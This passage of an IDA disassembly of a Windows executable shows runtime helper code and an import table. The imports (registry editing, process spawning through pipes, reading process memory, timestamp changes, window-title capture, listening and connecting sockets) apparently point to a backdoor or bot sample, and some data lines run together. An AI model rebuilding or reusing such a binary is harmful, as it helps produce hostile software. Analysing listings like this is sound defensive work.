		mov	eax, [esp+0Ch+arg_0]


loc_416D77:				; CODE XREF: sub_416D10+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_416D77
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_416DA5
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_416DA5
		jb	short loc_416DA6
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_416DA6


loc_416DA5:				; CODE XREF: sub_416D10+85j
					; sub_416D10+8Bj
		dec	esi


loc_416DA6:				; CODE XREF: sub_416D10+8Dj
					; sub_416D10+93j
		xor	edx, edx
		mov	eax, esi


loc_416DAA:				; CODE XREF: sub_416D10+57j
		dec	edi
		jnz	short loc_416DB4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_416DB4:				; CODE XREF: sub_416D10+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_416D10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DBA	proc near		; DATA XREF: sub_4093B6+Ao
					; sub_4094E6+Ao ...
		jmp	ds:dword_41715C
sub_416DBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DC0	proc near		; CODE XREF: sub_409479+41p
					; sub_4095A4+162p
		jmp	ds:dword_417158
sub_416DC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DC6	proc near		; CODE XREF: sub_4095A4+11Bp
		jmp	ds:dword_417154
sub_416DC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DCC	proc near		; CODE XREF: sub_409CB1+105p
					; sub_409CB1+114p ...
		jmp	ds:dword_417150
sub_416DCC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DD2	proc near		; CODE XREF: sub_409CB1+42p
					; sub_409CB1+88p
		jmp	ds:dword_41714C
sub_416DD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DD8	proc near		; CODE XREF: sub_409CB1+1Ap
					; sub_409DD0+13Bp
		jmp	ds:dword_417148
sub_416DD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DDE	proc near		; CODE XREF: sub_40A2D2+13Ep
					; sub_40A9CF+1F6p ...
		jmp	ds:dword_417144
sub_416DDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DE4	proc near		; CODE XREF: sub_40A8AD+90p
		jmp	ds:dword_417140
sub_416DE4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DEA	proc near		; CODE XREF: sub_40A9CF+185Cp
		jmp	ds:dword_41713C
sub_416DEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DF0	proc near		; CODE XREF: sub_40D420+47p
					; sub_40D4AB+50p ...
		jmp	ds:dword_417138
sub_416DF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DF6	proc near		; CODE XREF: sub_40EF59+6Bp
					; sub_40EF59+C1p
		jmp	ds:dword_417134
sub_416DF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DFC	proc near		; CODE XREF: sub_40F040+52p
					; sub_40F040+A8p
		jmp	ds:dword_417130
sub_416DFC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416E02	proc near		; CODE XREF: sub_40F040+1Ep
		jmp	ds:dword_417128
sub_416E02	endp

; ---------------------------------------------------------------------------


loc_416E08:				; CODE XREF: .text:00416FE2j
		jmp	ds:dword_417124
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416E10	proc near		; CODE XREF: sub_414EF4+5p
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_416E10	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416E30	proc near		; CODE XREF: sub_4048EF+4Ep
					; sub_4048EF+2CFp ...
		jmp	ds:dword_4171F8
sub_416E30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416E40	proc near		; CODE XREF: sub_414EF4+EAp
					; sub_414EF4+1E2p ...

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_416EAF
		retn	4
sub_416E40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416E4E	proc near		; CODE XREF: sub_414EF4+134p
					; sub_414EF4+2D8p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		and	[ebp+var_4], 0
		test	eax, eax
		jz	short loc_416EA0
		mov	ecx, [eax]
		lea	edx, [ebp+arg_4]
		push	edx
		push	offset dword_41DDD0
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	short loc_416EA0
		mov	eax, [ebp+arg_4]
		push	esi
		push	[ebp+arg_8]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+8]
		test	esi, esi
		pop	esi
		jnz	short loc_416EA0
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		call	ds:dword_4171C8
		test	eax, eax
		jz	short loc_416EA0
		and	[ebp+var_4], 0


loc_416EA0:				; CODE XREF: sub_416E4E+Dj
					; sub_416E4E+1Fj ...
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_416EAF
		leave
		retn	0Ch
sub_416E4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416EAF	proc near		; CODE XREF: sub_416E40+6p
					; sub_416E4E+58p

var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		lea	ecx, [ebp+var_10]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416ED3
		lea	eax, [ebp+var_10]
		push	offset dword_4173B8
		push	eax
		call	sub_416FA2	; _CxxThrowException
sub_416EAF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_416ED3	proc near		; CODE XREF: sub_416EAF+11p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		and	dword ptr [esi+0Ch], 0
		mov	[esi+4], eax
		mov	eax, [esp+4+arg_4]
		mov	dword ptr [esi], offset	off_4172B4
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_416EFF
		cmp	[esp+4+arg_8], 0
		jz	short loc_416EFF
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_416EFF:				; CODE XREF: sub_416ED3+1Dj
					; sub_416ED3+24j
		mov	eax, esi
		pop	esi
		retn	0Ch
sub_416ED3	endp


; =============== S U B	R O U T	I N E =======================================



sub_416F05	proc near		; DATA XREF: .rdata:off_4172B4o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_416F4E
		test	[esp+4+arg_0], 1
		jz	short loc_416F1B
		push	esi
		call	sub_416DCC
		pop	ecx


loc_416F1B:				; CODE XREF: sub_416F05+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_416F05	endp

; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		push	esi
		mov	esi, ecx
		mov	ecx, [eax+4]
		mov	[esi+4], ecx
		mov	eax, [eax+8]
		and	dword ptr [esi+0Ch], 0
		mov	[esi+8], eax
		test	eax, eax
		mov	dword ptr [esi], offset	off_4172B4
		jz	short loc_416F48
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_416F48:				; CODE XREF: .text:00416F40j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_416F4E	proc near		; CODE XREF: sub_416F05+3p
					; DATA XREF: .rdata:004173BCo
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	dword ptr [esi], offset	off_4172B4
		test	eax, eax
		jz	short loc_416F64
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_416F64:				; CODE XREF: sub_416F4E+Ej
		mov	esi, [esi+0Ch]
		test	esi, esi
		jz	short loc_416F72
		push	esi
		call	ds:dword_4170B0	; LocalFree


loc_416F72:				; CODE XREF: sub_416F4E+1Bj
		pop	esi
		retn
sub_416F4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416F74	proc near		; CODE XREF: sub_401244+120p
					; sub_406E8E+DAp ...
		jmp	ds:dword_4171C0
sub_416F74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416F7A	proc near		; CODE XREF: sub_4020C2+113p
					; sub_4038BA+22Fp ...
		jmp	ds:dword_417114
sub_416F7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416F80	proc near		; CODE XREF: sub_402A32+CCp
					; sub_402A32+2B9p ...
		jmp	ds:dword_417118
sub_416F80	endp


; =============== S U B	R O U T	I N E =======================================



sub_416F86	proc near		; DATA XREF: .rdata:off_4172BCo

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_416FA8
		test	[esp+4+arg_0], 1
		jz	short loc_416F9C
		push	esi
		call	sub_416DCC
		pop	ecx


loc_416F9C:				; CODE XREF: sub_416F86+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_416F86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416FA2	proc near		; CODE XREF: sub_416EAF+1Fp
		jmp	ds:dword_41711C
sub_416FA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416FA8	proc near		; CODE XREF: sub_416F86+3p
		jmp	ds:dword_417120
sub_416FA8	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-0A00h]
		call	sub_415B3F
		retn

; =============== S U B	R O U T	I N E =======================================



sub_416FBC	proc near		; DATA XREF: .rdata:0041737Co
		lea	ecx, [ebp-10h]
		call	sub_415B3F
		retn
sub_416FBC	endp

; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0DF8h]
		call	sub_415B3F
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E14h]
		call	sub_415B3F
		retn
; ---------------------------------------------------------------------------


loc_416FDD:				; DATA XREF: sub_414EF4o
		mov	eax, offset dword_417350
		jmp	loc_416E08
; ---------------------------------------------------------------------------
		align 20h
_text		ends

; Section 2. (virtual address 00017000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00017000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 417000h
dword_417000	dd 77DECF4Ah	; resolved to->ADVAPI32.RegEnumValueAdword_417004	dd 77DDEDE5h	; resolved to->ADVAPI32.RegDeleteValueA					; sub_406C51+96r
dword_417008	dd 77DD761Bh	; resolved to->ADVAPI32.RegOpenKeyExA					; sub_406722+184r ...
dword_41700C	dd 77DD7883h	; resolved to->ADVAPI32.RegQueryValueExA					; sub_4083AD+2DDr ...
dword_417010	dd 77DDEBE7h	; resolved to->ADVAPI32.RegSetValueExAdword_417014	dd 77DDEAF4h	; resolved to->ADVAPI32.RegCreateKeyExAdword_417018	dd 77DFD4C9h	; resolved to->ADVAPI32.GetUserNameAdword_41701C	dd 77DE8546h	; resolved to->ADVAPI32.CryptReleaseContextdword_417020	dd 77DE5244h	; resolved to->ADVAPI32.CryptGenRandom					; sub_4102AE+37r ...
dword_417024	dd 77DE7F96h	; resolved to->ADVAPI32.CryptAcquireContextAdword_417028	dd 77DD6BF0h	; resolved to->ADVAPI32.RegCloseKey					; sub_406722+2F9r ...
		align 10h
dword_417030	dd 7C812ADEh	; resolved to->KERNEL32.GetVersionExA					; sub_40D043+20Br ...
dword_417034	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoA					; sub_408342+4Br
dword_417038	dd 7C8360DDh	; resolved to->KERNEL32.SetCurrentDirectoryAdword_41703C	dd 7C80BDB6h	; resolved to->KERNEL32.lstrlenA					; sub_414EF4+8EEr
dword_417040	dd 7C821363h	; resolved to->KERNEL32.GetWindowsDirectoryAdword_417044	dd 7C801A24h	; resolved to->KERNEL32.CreateFileA					; sub_406B81+95r ...
dword_417048	dd 7C831C45h	; resolved to->KERNEL32.GetFileTimedword_41704C	dd 7C831CB8h	; resolved to->KERNEL32.SetFileTimedword_417050	dd 7C814EEAh	; resolved to->KERNEL32.GetSystemDirectoryA					; sub_406AE7+15r ...
dword_417054	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA					; sub_403BD3+32r ...
dword_417058	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddress					; sub_403BD3+4Dr ...
dword_41705C	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; sub_407148+18Br ...
dword_417060	dd 7C8286EEh	; resolved to->KERNEL32.CopyFileA					; sub_406E8E+1FEr
dword_417064	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Error					; sub_409CB1+CFr ...
dword_417068	dd 7C810D87h	; resolved to->KERNEL32.WriteFile					; sub_406D90+D3r
dword_41706C	dd 7C8217EAh	; resolved to->KERNEL32.SearchPathAdword_417070	dd 7C81E0C7h	; resolved to->KERNEL32.CreatePipe					; sub_401981+D7r
dword_417074	dd 7C80DDF5h	; resolved to->KERNEL32.GetCurrentProcess					; sub_401981+111r
dword_417078	dd 7C8216A4h	; resolved to->KERNEL32.GetComputerNameAdword_41707C	dd 7C802367h	; resolved to->KERNEL32.CreateProcessA					; sub_406E8E+2A5r
dword_417080	dd 7C85F90Fh	; resolved to->KERNEL32.PeekNamedPipedword_417084	dd 7C81AE17h	; resolved to->KERNEL32.GetExitCodeProcessdword_417088	dd 7C80180Eh	; resolved to->KERNEL32.ReadFiledword_41708C	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA					; sub_40332B+1D0r ...
dword_417090	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameA					; sub_40332B+1D7r ...
dword_417094	dd 7C8309E1h	; resolved to->KERNEL32.OpenProcess					; sub_406041+193r ...
dword_417098	dd 7C8021CCh	; resolved to->KERNEL32.ReadProcessMemory					; sub_406509+91r
dword_41709C	dd 7C802442h	; resolved to->KERNEL32.Sleep					; sub_401244+4F4r ...
dword_4170A0	dd 7C801E16h	; resolved to->KERNEL32.TerminateProcess					; sub_406643+3Br
dword_4170A4	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_401244+4C1r ...
dword_4170A8	dd 7C812782h	; resolved to->KERNEL32.SetFileAttributesA					; sub_406E8E+22Ar ...
dword_4170AC	dd 7C831EABh	; resolved to->KERNEL32.DeleteFileA					; sub_401E38+30r ...
dword_4170B0	dd 7C80992Fh	; resolved to->KERNEL32.LocalFreedword_4170B4	dd 7C810637h	; resolved to->KERNEL32.CreateThreaddword_4170B8	dd 7C80B974h	; resolved to->KERNEL32.UnmapViewOfFiledword_4170BC	dd 7C80B905h	; resolved to->KERNEL32.MapViewOfFiledword_4170C0	dd 7C80945Ch	; resolved to->KERNEL32.CreateFileMappingAdword_4170C4	dd 7C8310F2h	; resolved to->KERNEL32.GlobalMemoryStatusdword_4170C8	dd 7C83039Bh	; resolved to->KERNEL32.GetDiskFreeSpaceExA					; sub_408F2E+134r
dword_4170CC	dd 7C8214E3h	; resolved to->KERNEL32.GetDriveTypeA					; sub_408F2E+7Fr ...
dword_4170D0	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCount					; sub_4092A4:loc_409307r ...
dword_4170D4	dd 7C82FA46h	; resolved to->KERNEL32.QueryPerformanceFrequency					; sub_4092A4+14r ...
dword_4170D8	dd 7C80A427h	; resolved to->KERNEL32.QueryPerformanceCounter					; sub_4092A4+Ar ...
dword_4170DC	dd 7C80BCCFh	; resolved to->KERNEL32.IsBadCodePtrdword_4170E0	dd 7C81CE03h	; resolved to->KERNEL32.TerminateThread					; sub_4098F3+1B6r
dword_4170E4	dd 7C809EF1h	; resolved to->KERNEL32.InitializeCriticalSectiondword_4170E8	dd 7C809920h	; resolved to->KERNEL32.GetCurrentProcessId					; sub_406643+19r
dword_4170EC	dd 7C901005h	; resolved to->NTDLL.RtlEnterCriticalSectiondword_4170F0	dd 7C80DDFEh	; resolved to->KERNEL32.DuplicateHandledword_4170F4	dd 7C80AC0Fh	; resolved to->KERNEL32.SetErrorModedword_4170F8	dd 7C80E93Fh	; resolved to->KERNEL32.CreateMutexAdword_4170FC	dd 7C80BE01h	; resolved to->KERNEL32.lstrcpyA					; sub_414EF4+5BCr ...
dword_417100	dd 7C810111h	; resolved to->KERNEL32.lstrcpynAdword_417104	dd 7C814AF2h	; resolved to->KERNEL32.GetEnvironmentVariableAdword_417108	dd 7C830D74h	; resolved to->KERNEL32.lstrcmpA					; sub_414EF4+5CEr ...
dword_41710C	dd 7C9010EDh	; resolved to->NTDLL.RtlLeaveCriticalSection		dd 0
dword_417114	dd 77C1C1F3h	; resolved to->MSVCRT._itoadword_417118	dd 77C464BFh	; resolved to->MSVCRT._strnicmpdword_41711C	dd 77C226F6h	; resolved to->MSVCRT._CxxThrowExceptiondword_417120	dd 77C21868h	dword_417124	dd 77C227FAh	; resolved to->MSVCRT.__CxxFrameHandlerdword_417128	dd 77C472B0h	; resolved to->MSVCRT.memmovedword_41712C	dd 77C46030h	; resolved to->MSVCRT.strcpydword_417130	dd 77C35E02h	; resolved to->MSVCRT._rotrdword_417134	dd 77C35DDEh	; resolved to->MSVCRT._rotldword_417138	dd 77C3FF8Ah	; resolved to->MSVCRT._vsnprintfdword_41713C	dd 77C46EB0h	; resolved to->MSVCRT.memcmpdword_417140	dd 77C1C9C9h	; resolved to->MSVCRT.tolowerdword_417144	dd 77C47730h	; resolved to->MSVCRT.strcmpdword_417148	dd 77C4186Ah	; resolved to->MSVCRT.printfdword_41714C	dd 77C29CC5h	dword_417150	dd 77C29CDDh	dword_417154	dd 77C3FE49h	; resolved to->MSVCRT.vsprintfdword_417158	dd 77C3A3DBh	; resolved to->MSVCRT._beginthreadexdword_41715C	dd 77C35C94h	; resolved to->MSVCRT._except_handler3dword_417160	dd 77C50290h	; resolved to->MSVCRT.ceildword_417164	dd 77C4FA10h	; resolved to->MSVCRT._ftoldword_417168	dd 77C39E7Eh	; resolved to->MSVCRT.exitdword_41716C	dd 77C2C437h	; resolved to->MSVCRT.reallocdword_417170	dd 77C47A50h	; resolved to->MSVCRT.strncmpdword_417174	dd 77C3FA76h	; resolved to->MSVCRT._snprintfdword_417178	dd 77C47C60h	; resolved to->MSVCRT.strstrdword_41717C	dd 77C41B72h	; resolved to->MSVCRT.sscanfdword_417180	dd 77C1BF18h	; resolved to->MSVCRT.atoidword_417184	dd 77C4139Ch	; resolved to->MSVCRT.fseekdword_417188	dd 77C411FBh	; resolved to->MSVCRT.freaddword_41718C	dd 77C3F010h	; resolved to->MSVCRT.fopendword_417190	dd 77C40AB1h	; resolved to->MSVCRT.fclosedword_417194	dd 77C4173Bh	; resolved to->MSVCRT.fwritedword_417198	dd 77C41574h	; resolved to->MSVCRT.ftelldword_41719C	dd 77C46040h	; resolved to->MSVCRT.strcatdword_4171A0	dd 77C475F0h	; resolved to->MSVCRT.memsetdword_4171A4	dd 77C4A969h	; resolved to->MSVCRT.clockdword_4171A8	dd 77C3F931h	; resolved to->MSVCRT.sprintfdword_4171AC	dd 77C47A90h	; resolved to->MSVCRT.strncpydword_4171B0	dd 77C46F70h	; resolved to->MSVCRT.memcpydword_4171B4	dd 77C2C21Bh	; resolved to->MSVCRT.freedword_4171B8	dd 77C2C407h	; resolved to->MSVCRT.mallocdword_4171BC	dd 77C478A0h	; resolved to->MSVCRT.strlendword_4171C0	dd 77C4624Eh	; resolved to->MSVCRT._stricmp		align 8
dword_4171C8	dd 7712A63Fh			align 10h
dword_4171D0	dd 7CA41110h	; resolved to->SHELL32.ShellExecuteA					; sub_402A32+79Br ...
		align 8
dword_4171D8	dd 7E41BE4Bh	; resolved to->USER32.GetForegroundWindowdword_4171DC	dd 7E44F209h	; resolved to->USER32.IsCharAlphaNumericAdword_4171E0	dd 7E41A8ADh	; resolved to->USER32.wsprintfA					; sub_408F2E+1D1r ...
dword_4171E4	dd 7E43212Bh	; resolved to->USER32.GetWindowTextA					; sub_415B60+84r
dword_4171E8	dd 7E42DE87h	; resolved to->USER32.FindWindowAdword_4171EC	dd 7E42F383h	; resolved to->USER32.SendMessageA					; sub_40D74D+7Er
		dd 0
dword_4171F4	dd 71AB406Ah	; resolved to->WS2_32.connect					; sub_4050EA+106r ...
dword_4171F8	dd 71AB4544h	; resolved to->WS2_32.__WSAFDIsSetdword_4171FC	dd 71AC1028h	; resolved to->WS2_32.accept					; sub_4048EF+39Fr
dword_417200	dd 71AC0BDEh	; resolved to->WS2_32.shutdown					; sub_412A3A+178r ...
dword_417204	dd 71AB3EA1h	; resolved to->WS2_32.setsockopt					; sub_4055E5+7Br ...
dword_417208	dd 71AB3E00h	; resolved to->WS2_32.bind					; sub_411DC5+DFr ...
dword_41720C	dd 71AB428Ah	; resolved to->WS2_32.send					; sub_40A9CF+1A74r
dword_417210	dd 71AC0B50h	; resolved to->WS2_32.getpeername					; sub_4045B2+21r
dword_417214	dd 71AB4519h	; resolved to->WS2_32.ioctlsocket					; sub_40447B+10r
dword_417218	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_4046BC+CEr ...
dword_41721C	dd 71AB3F41h	; resolved to->WS2_32.inet_ntoa					; sub_40732D+1A8r ...
dword_417220	dd 71ABE479h	; resolved to->WS2_32.gethostbyaddr					; sub_4038BA+171r ...
dword_417224	dd 71AB94DCh	; resolved to->WS2_32.WSAGetLastError					; sub_4038BA+186r ...
dword_417228	dd 71ABE59Dh	; resolved to->WS2_32.getservbyportdword_41722C	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_404E1C+E0r ...
dword_417230	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_40A9CF+1A80r ...
dword_417234	dd 71AB2A5Eh	; resolved to->WS2_32.WSASetLastError					; sub_403588+4Ar ...
dword_417238	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_403588+1FEr ...
dword_41723C	dd 71AB4FD4h	; resolved to->WS2_32.gethostbyname					; sub_4055E5+F3r ...
dword_417240	dd 71AB951Eh	; resolved to->WS2_32.getsockname					; sub_40449C+21r ...
dword_417244	dd 71AB2BF4h	; resolved to->WS2_32.inet_addr					; sub_4055E5+DDr ...
dword_417248	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_4053DC+27r ...
dword_41724C	dd 71AB2BC0h	; resolved to->WS2_32.ntohl					; sub_4020C2+201r
dword_417250	dd 71AB2C69h	; resolved to->WS2_32.sendto					; sub_411DC5+372r ...
dword_417254	dd 71AB4428h	; resolved to->WS2_32.WSACleanup					; sub_407148+183r ...
dword_417258	dd 71AB2D0Fh	; resolved to->WS2_32.recvfromdword_41725C	dd 71AB4489h	; resolved to->WS2_32.WSAIoctldword_417260	dd 71AB50C8h	; resolved to->WS2_32.gethostnamedword_417264	dd 71AB664Dh	; resolved to->WS2_32.WSAStartupdword_417268	dd 71AB88D3h	; resolved to->WS2_32.listen		align 10h
flt_417270	dd 1.0e3		; DATA XREF: sub_401E38+207r
					; sub_401E38+22Fr ...
flt_417274	dd 1.024e3		; DATA XREF: sub_408B30+2A2r
dword_417278	dd 0FFFFFFFFh, 409449h,	40945Fh, 0dword_417288	dd 0FFFFFFFFh, 409572h,	40958Ah, 0dword_417298	dd 0FFFFFFFFh, 416AE7h,	416AFDh, 0		dd offset sub_416AC5
		dd offset sub_416ADB
		dd offset dword_4172F0
off_4172B4	dd offset sub_416F05	; DATA XREF: sub_416ED3+12o
					; .text:00416F3Ao ...
		dd offset dword_417338
off_4172BC	dd offset sub_416F86	; DATA XREF: .data:off_41DDE0o
					; .data:off_41DE00o
off_4172C0	dd offset off_41DDE0	; DATA XREF: .rdata:004172D8o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_4172C0
dword_4172DC	dd 3 dup(0)			dd 1, 4172D8h
dword_4172F0	dd 3 dup(0)			dd offset off_41DDE0
		dd offset dword_4172DC+4
		dd 0
off_417308	dd offset off_41DE00	; DATA XREF: .rdata:00417320o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_417308
		dd 0
		db    0			; DATA XREF: .rdata:00417348o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 417320h
dword_417338	dd 3 dup(0)			dd offset off_41DE00
		dd offset unk_417328
		align 10h
dword_417350	dd 19930520h, 4, 417370h, 5 dup(0)		dd 0FFFFFFFFh, 416FB0h,	0
		dd offset sub_416FBC
		dd 1, 416FC5h, 2, 416FD1h, 0
		dd offset off_41DDE0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 10h,	416F21h, 0
dword_4173B0	dd 1, 417390h	dword_4173B8	dd 0				dd offset sub_416F4E
		dd 0
		dd offset dword_4173B0
dword_4173C8	dd 1757Ch, 2 dup(0)		dd 17876h, 17114h, 1765Ch, 2 dup(0)
		dd 1788Eh, 171F4h, 17498h, 2 dup(0)
		dd 17C70h, 17030h, 17640h, 2 dup(0)
		dd 17CE6h, 171D8h, 17468h, 2 dup(0)
		dd 17DBAh, 17000h, 17638h, 2 dup(0)
		dd 17DD8h, 171D0h, 17630h, 2 dup(0)
		dd 17E3Eh, 171C8h, 5 dup(0)
		dd 17D12h, 17D00h, 17D22h, 17D32h, 17D46h, 17D58h, 17D6Ah
		dd 17D7Ah, 17D90h, 17DA2h, 17CF2h, 0
		dd 17AB6h, 17AA4h, 17A8Ch, 17A80h, 17A68h, 17A5Ah, 17A4Ch
		dd 17A3Eh, 17A28h, 17A18h, 17A06h, 179F8h, 179ECh, 179DCh
		dd 179D0h, 179C2h, 179B4h, 179A0h, 17AC6h, 1797Ch, 1796Ch
		dd 17956h, 1794Ah, 17920h, 1790Ah, 178FCh, 178E8h, 178E0h
		dd 178CCh, 178BEh, 178A8h, 1789Ah, 17E32h, 17BCAh, 17BDAh
		dd 17BECh, 17BFCh, 17ADAh, 17AF0h, 17B06h, 17B16h, 17B26h
		dd 17B42h, 17B5Ch, 17B6Ch, 17B7Eh, 17934h, 17B9Ah, 1798Eh
		dd 17C60h, 17C50h, 17C44h, 17C38h, 17C1Eh, 17C12h, 17BB2h
		dd 0
		dd 17DF0h, 17DF8h, 17E04h, 17E1Ah, 17862h, 17858h, 176D8h
		dd 17850h, 17848h, 1783Ah, 17830h, 17826h, 1781Ch, 17812h
		dd 17802h, 177F2h, 177E6h, 177D4h, 177C0h, 177B8h, 177B0h
		dd 177A8h, 1779Eh, 17794h, 17788h, 1777Eh, 17774h, 1776Ch
		dd 17764h, 1775Ch, 17754h, 1774Ah, 17740h, 17738h, 1772Eh
		dd 17724h, 1771Ch, 17712h, 17708h, 176FEh, 176F6h, 176ECh
		dd 176E2h, 17DE4h, 0
		dd 800000C8h, 0
		dd 17DC8h, 0
		dd 17C9Ch, 17CD0h, 17C7Eh, 17C8Ah, 17CB2h, 17CC0h, 0
		dd 80000004h, 80000097h, 80000001h, 80000016h, 80000015h
		dd 80000002h, 80000013h, 80000005h, 8000000Ah, 80000017h
		dd 8000000Ch, 80000033h, 8000006Fh, 80000038h, 80000012h
		dd 80000003h, 80000070h, 80000009h, 80000034h, 80000006h
		dd 8000000Bh, 80000010h, 80000008h, 80000014h, 80000074h
		dd 80000011h, 17882h, 80000039h, 80000073h, 8000000Dh
		dd 0
		dd 747302BAh, 79706372h, 2BE0000h, 6C727473h, 6E65h, 616D0291h
		dd 636F6C6Ch, 25E0000h,	65657266h, 2970000h, 636D656Dh
		dd 7970h, 747302C1h, 70636E72h,	2B20079h, 69727073h, 66746Eh
		dd 6C630243h, 6B636Fh, 656D0299h, 7465736Dh, 2B60000h
		dd 63727473h, 7461h, 74660264h,	6C6C65h, 77660266h, 65746972h
		dd 24C0000h, 6F6C6366h,	6573h, 6F660257h, 6E6570h, 7266025Dh
		dd 646165h, 73660262h, 6B6565h,	7461023Dh, 696Fh, 737302B5h
		dd 666E6163h, 2C50000h,	73727473h, 7274h, 735F01AEh, 6972706Eh
		dd 66746Eh, 747302C0h, 6D636E72h, 2A70070h, 6C616572h
		dd 636F6Ch, 78650249h, 7469h, 665F00F1h, 6C6F74h, 65630241h
		dd 6C69h, 655F00CAh, 70656378h,	61685F74h, 656C646Eh, 3372h
		dd 625F00A6h, 6E696765h, 65726874h, 78656461h, 2DC0000h
		dd 72707376h, 66746E69h, 100000h, 40333F3Fh, 50584159h
		dd 5A405841h, 0F0000h, 40323F3Fh, 41504159h, 5A404958h
		dd 29E0000h, 6E697270h,	6674h, 747302B8h, 706D6372h, 2D30000h
		dd 6F6C6F74h, 726577h, 656D0296h, 706D636Dh, 1E10000h
		dd 6E73765Fh, 6E697270h, 6674h,	725F019Bh, 6C746Fh, 725F019Ch
